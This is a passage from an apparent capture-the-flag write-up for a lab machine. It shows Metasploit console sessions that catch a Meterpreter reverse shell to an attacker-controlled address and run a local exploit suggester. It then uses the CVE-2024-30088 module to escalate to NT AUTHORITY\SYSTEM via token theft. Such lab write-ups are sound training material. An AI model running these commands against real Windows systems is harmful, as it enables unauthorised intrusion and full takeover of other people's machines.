4
5
6
7
8
9
10
11
12
13
14
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.8.4.147
lhost => 10.8.4.147
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.8.4.147:4444 

[*] Sending stage (203846 bytes) to 10.10.218.21
[*] Meterpreter session 2 opened (10.8.4.147:4444 -> 10.10.218.21:55929) at 2025-06-17 01:48:59 +0600

Run exploit suggester

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
meterpreter > run post/multi/recon/local_exploit_suggester 

[*] 10.10.218.21 - Collecting local exploits for x64/windows...
[*] 10.10.218.21 - 198 exploit checks are being tried...
[+] 10.10.218.21 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 10.10.218.21 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 10.10.218.21 - exploit/windows/local/cve_2022_21882_win32k: The service is running, but could not be validated. May be vulnerable, but exploit not tested on Windows Server 2016+ Build 20348
[+] 10.10.218.21 - exploit/windows/local/cve_2022_21999_spoolfool_privesc: The target appears to be vulnerable.
[+] 10.10.218.21 - exploit/windows/local/cve_2023_28252_clfs_driver: The target appears to be vulnerable. The target is running windows version: 10.0.20348.0 which has a vulnerable version of clfs.sys installed by default
[+] 10.10.218.21 - exploit/windows/local/cve_2024_30088_authz_basep: The target appears to be vulnerable. Version detected: Windows Server 2016+ Build 20348
[+] 10.10.218.21 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[*] Running check method for exploit 47 / 47
[*] 10.10.218.21 - Valid modules for session 2:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_dotnet_profiler                Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/bypassuac_sdclt                          Yes                      The target appears to be vulnerable.
 3   exploit/windows/local/cve_2022_21882_win32k                    Yes                      The service is running, but could not be validated. May be vulnerable, but exploit not tested on Windows Server 2016+ Build 20348
 4   exploit/windows/local/cve_2022_21999_spoolfool_privesc         Yes                      The target appears to be vulnerable.
 5   exploit/windows/local/cve_2023_28252_clfs_driver               Yes                      The target appears to be vulnerable. The target is running windows version: 10.0.20348.0 which has a vulnerable version of clfs.sys installed by default                                                                                                                                                                                                                                   
 6   exploit/windows/local/cve_2024_30088_authz_basep               Yes                      The target appears to be vulnerable. Version detected: Windows Server 2016+ Build 20348
 7   exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.


We see few priviesc possibilities. Let’s try exploit/windows/local/cve_2024_30088_authz_basep

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > use exploit/windows/local/cve_2024_30088_authz_basep 
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2024_30088_authz_basep) > set session 2
session => 2
msf6 exploit(windows/local/cve_2024_30088_authz_basep) > set lport 7777
lport => 7777
msf6 exploit(windows/local/cve_2024_30088_authz_basep) > set LHOST 10.8.4.147
LHOST => 10.8.4.147
msf6 exploit(windows/local/cve_2024_30088_authz_basep) > exploit

[*] Started reverse TCP handler on 10.8.4.147:7777 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: Windows Server 2016+ Build 20348
[*] Reflectively injecting the DLL into 696...
[+] The exploit was successful, reading SYSTEM token from memory...
[+] Successfully stole winlogon handle: 2140
[+] Successfully retrieved winlogon pid: 584
[*] Sending stage (203846 bytes) to 10.10.218.21
[*] Meterpreter session 3 opened (10.8.4.147:7777 -> 10.10.218.21:56205) at 2025-06-17 02:02:28 +0600

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

It worked and we got our root flag

https://api.vulnlab.com/api/v1/share?id=f67846eb-f391-4df9-a3c2-d00092745b81

This post is licensed under CC BY 4.0 by the author.